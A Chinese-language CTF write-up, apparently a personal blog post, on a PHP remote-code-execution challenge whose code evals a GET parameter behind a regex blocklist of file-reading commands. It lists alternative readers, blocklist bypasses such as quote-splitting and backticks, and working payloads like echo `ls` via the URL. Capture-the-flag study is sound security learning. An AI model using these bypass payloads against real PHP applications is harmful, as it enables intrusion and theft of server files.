3.basic.rce.2

1.题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//flag in flag
error_reporting(0);
show_source(__FILE__);
if (isset($_GET['Rem'])){
$Ram=$_GET['Rem'];
if(preg_match("/(more|less|flag|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i", $Ram)){
die("<strong><center>总之就是非常可爱</center></strong>");
}
$a = eval($Ram);
}else{
echo "<script>alert('爬爬爬我最会爬了')</script>";
}

2.过程&知识点

preg_match函数会对字符串进行正则匹配。

https://www.php.net/manual/zh/function.preg-match.php(有点多,慢慢学吧)

正则匹配:

https://www.runoob.com/regexp/regexp-syntax.html

同时我查到了shell中使用的glob通配符

https://blog.csdn.net/qq_28189423/article/details/83720955

补充https://blog.51cto.com/14812296/2507411?source=dra

对于cat被过滤:

以下都可以作为替代:

  1. more:一页一页的显示档案内容

  2. less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页

  3. head:查看头几行

  4. tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

  5. tail:查看尾几行

  6. nl:显示的时候,顺便输出行号

  7. od:以二进制的方式读取档案内容(不是很懂,读出来很奇怪)

  8. sort:可以查看

  9. uniq:可以查看

  10. file -f:报错出具体内容

  11. rev:逆向输出

绕过:

  1. ca$1t:未定义变量默认空值

  2. ca‘’t :‘’空值

  3. ‘c”a”t ????’或”c’a’t fl[a]g”

  4. ca``t

  5. 似乎还有base64编码和拼接的高阶操作……:http://blog.leanote.com/post/bowu/de8babf67fd8

好像还有别的执行方式

?Rem=?><?=`ls`;

其实直接?Rem=echo%20`ls`;就行……

先结束上面的语句,<?=是echo的快捷用法,输出了`ls`,反引号括出命令执行的语句

<?=可以被禁用,是不是有点……鸡肋

大佬博客:

无字母数字webshell:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.gem-love.com/websecurity/1407.html#PHP%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C

ctfshow……

作者

inanb

发布于

2020-11-27

更新于

2020-11-28

许可协议


:D 一言句子获取中...